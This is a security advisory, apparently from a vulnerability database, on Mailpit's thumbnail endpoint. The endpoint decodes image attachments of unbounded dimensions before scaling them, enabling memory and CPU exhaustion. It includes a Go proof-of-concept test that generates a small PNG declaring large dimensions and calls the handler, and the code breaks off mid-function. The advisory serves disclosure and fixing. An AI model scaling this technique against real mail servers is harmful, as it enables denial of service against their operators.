Résumé

Mailpit: Thumbnail generation decodes unbounded image dimensions before scaling

Détails de l’avis

Summary

Mailpit's thumbnail endpoint decodes attacker-supplied image attachments into a full raster before checking any decoded-pixel, dimension, or memory budget. A remote client that can store an email and reach the default web API can supply a compact high-dimension image, then request /api/v1/message/{id}/part/{partID}/thumb to force server-side memory and CPU work far larger than the encoded attachment size before Mailpit returns a 180x120 thumbnail.

Technical Details

The route is registered as GET /api/v1/message/{id}/part/{partID}/thumb in server/server.go. The handler in server/apiv1/thumbnails.go loads the requested attachment and accepts any part whose content type begins with image/:

a, err := storage.GetAttachmentPart(id, partID)
// ...
if !strings.HasPrefix(a.ContentType, "image/") {
    blankImage(a, w)
    return
}

buf := bytes.NewBuffer(a.Content)
img, err := imaging.Decode(buf, imaging.AutoOrientation(true))

storage.GetAttachmentPart() reparses the stored raw email and returns the matching attacker-supplied attachment bytes. Thumbnail() then calls imaging.Decode() before any check on declared dimensions or estimated decoded bytes. The subsequent imaging.Fill(img, 180, 120, ...), imaging.Clone(), and JPEG encode only happen after the full image has already been decoded.

The thumbnail output is fixed at 180x120, so the endpoint does not need to decode arbitrarily large rasters. The current implementation lets a small compressed PNG declare large dimensions and expand to tens or hundreds of MiB of decoded pixels before scaling. The default message-size controls do not stop this class: they bound encoded message/attachment bytes, while this issue is encoded-size to decoded-raster amplification after storage.

The UI also naturally reaches this endpoint for image attachments. server/ui-src/components/message/MessageAttachments.vue uses /api/v1/message/{message.ID}/part/{part.PartID}/thumb as the <img src> for image attachments, so opening an affected message in the web UI can trigger the decode path. A client with API access can also call the endpoint directly.

PoV

The following test creates a valid all-zero RGBA PNG by streaming compressed scanlines, so the generator does not need to allocate the full source image. It then exercises both the direct decode/scale operation and the real handler path: store an email with the PNG attachment, resolve the actual PartID, and call Thumbnail().

The oversized case uses a 4096x4096 image. That is intentionally bounded for safe local reproduction, but it is enough to show a 65,301-byte encoded PNG becoming an estimated 67,108,864-byte decoded RGBA raster before thumbnail scaling. The negative control is a 16x16 PNG.

package apiv1

import (
    "bytes"
    "compress/zlib"
    "encoding/base64"
    "encoding/binary"
    "fmt"
    "hash/crc32"
    "net/http"
    "net/http/httptest"
    "path/filepath"
    "strings"
    "testing"

    "github.com/axllent/mailpit/config"
    "github.com/axllent/mailpit/internal/logger"
    "github.com/axllent/mailpit/internal/storage"
    "github.com/kovidgoyal/imaging"
)

func pngChunk(kind string, data []byte) []byte {
    var out bytes.Buffer
    _ = binary.Write(&out, binary.BigEndian, uint32(len(data)))
    out.WriteString(kind)
    out.Write(data)
    crc := crc32.NewIEEE()
    crc.Write([]byte(kind))
    crc.Write(data)
    _ = binary.Write(&out, binary.BigEndian, crc.Sum32())
    return out.Bytes()
}

func solidRGBApng(width, height int) []byte {
    var out bytes.Buffer
    out.Write([]byte{0x89, 'P', 'N', 'G', '\r', '\n', 0x1a, '\n'})
    ihdr := make([]byte, 13)
    binary.BigEndian.PutUint32(ihdr[0:4], uint32(width))
    binary.BigEndian.PutUint32(ihdr[4:8], uint32(height))
    ihdr[8] = 8
    ihdr[9] = 6
    out.Write(pngChunk("IHDR", ihdr))
    var compressed bytes.Buffer
    zw := zlib.NewWriter(&compressed)
    row := make([]byte, 1+width*4)
    for i := 0; i < height; i++ {
        _, _ = zw.Write(row)
    }
    _ = zw.Close()
    out.Write(pngChunk("IDAT", compressed.Bytes()))
    out.Write(pngChunk("IEND", nil))
    return out.Bytes()
}

func TestThumbnailDecodeDimensionAmplificationPoV(t *testing.T) {
    for _, tc := range []struct {
        name   string
        width  int
        height int
    }{
        {name: "negative-control", width: 16, height: 16},
        {name: "oversized-attachment", width: 4096, height: 4096},
    } {
        t.Run(tc.name, func(t *testing.T) {
            payload := solidRGBApng(tc.width, tc.height)
            img, err := imaging.Decode(bytes.NewReader(payload), imaging.AutoOrientation(true))
            if err != nil {
                t.Fatalf("decode failed: %v", err)
            }
            thumb := imaging.Fill(img, thumbWidth, thumbHeight, imaging.Center, imaging.Lanczos)
            if thumb.Bounds().Dx() != thumbWidth || thumb.Bounds().Dy() != thumbHeight {
                t.Fatalf("unexpected thumbnail bounds: %v", thumb.Bounds())
            }
            decodedRGBA := tc.width * tc.height * 4
            t.Logf("%s: encoded_png_bytes=%d decoded_rgba_bytes=%d dimensions=%dx%d amplification=%.1fx", tc.name, len(payload), decodedRGBA, tc.width, tc.height, float64(decodedRGBA)/float64(len(payload)))
        })
    }
}

func TestThumbnailHandlerDimensionAmplificationPoV(t *testing.T) {
    logger.NoLogging = true
    config.Database = filepath.Join(t.TempDir(), "mailpit.db")
    config.Compression = 0
    config.TenantID = ""
    config.MaxMessages = 0
    if err := storage.InitDB(); err != nil {
        t.Fatalf("InitDB failed: %v", err)
    }
    defer storage.Close()

    for _, tc := range []struct {
        name   string
        width  int
        height int
    }{
        {name: "negative-control", width: 16, height: 16},
        {name: "oversized-attachment", width: 4096, height: 4096},
    } {
        t.Run(tc.name, func(t *testing.T) {
            payload := solidRGBApng(tc.width, tc.height)
            raw := []byte(fmt.Sprintf("From: sender@example.test\r\nTo: victim@example.test\r\nSubject: %s\r\nMIME-Version: 1.0\r\nContent-Type: multipart/mixed; boundary=\"pov-boundary\"\r\n\r\n--pov-boundary\r\nContent-Type: text/plain\r\n\r\nbody\r\n--pov-boundary\r\nContent-Type: image/png; name=\"pov.png\"\r\nContent-Disposition: attachment; filename=\"pov.png\"\r\nContent-Transfer-Encoding: base64\r\n\r\n%s\r\n--pov-boundary--\r\n", tc.name, wrapBase64(payload)))
            id, err := storage.Store(&raw, nil)
            if err != nil {
                t.Fatalf("Store failed: %v", err)
            }
            msg, err := storage.GetMessage(id)
            if err != nil {
                t.Fatalf("GetMessage failed: %v", err)
            }
            if len(msg.Attachments) != 1 {
                t.Fatalf("attachments=%d, want 1", len(msg.Attachments))
            }
            req := httptest.NewRequest(http.MethodGet, "/api/v1/message/"+id+"/part/"+msg.Attachments[0].PartID+"/thumb", nil)
            req.SetPathValue("id", id)
            req.SetPathValue("partID", msg.Attachments[0].PartID)
            rr := httptest.NewRecorder()
            Thumbnail(rr, req)
            if rr.Code != http.StatusOK {
                t.Fatalf("Thumbnail status=%d body=%q", rr.Code, rr.Body.String())
            }
            if ct := rr.Header().Get("Content-Type"); ct != "image/jpeg" {
                t.Fatalf("Content-Type=%q, want image/jpeg", ct)
            }
            decodedRGBA := tc.width * tc.height * 4
            t.Logf("%s handler path: stored_png_bytes=%d decoded_rgba_bytes=%d dimensions=%dx%d amplification=%.1fx thumbnail_jpeg_bytes=%d", tc.name, len(payload), decodedRGBA, tc.width, tc.height, float64(decodedRGBA)/float64(len(payload)), rr.Body.Len())
        })
    }
}

func wrapBase64(b []byte) string {
    encoded := base64.StdEncoding.EncodeToString(b)
    var lines []string
    for len(encoded) > 76 {
        lines = append(lines, 

Références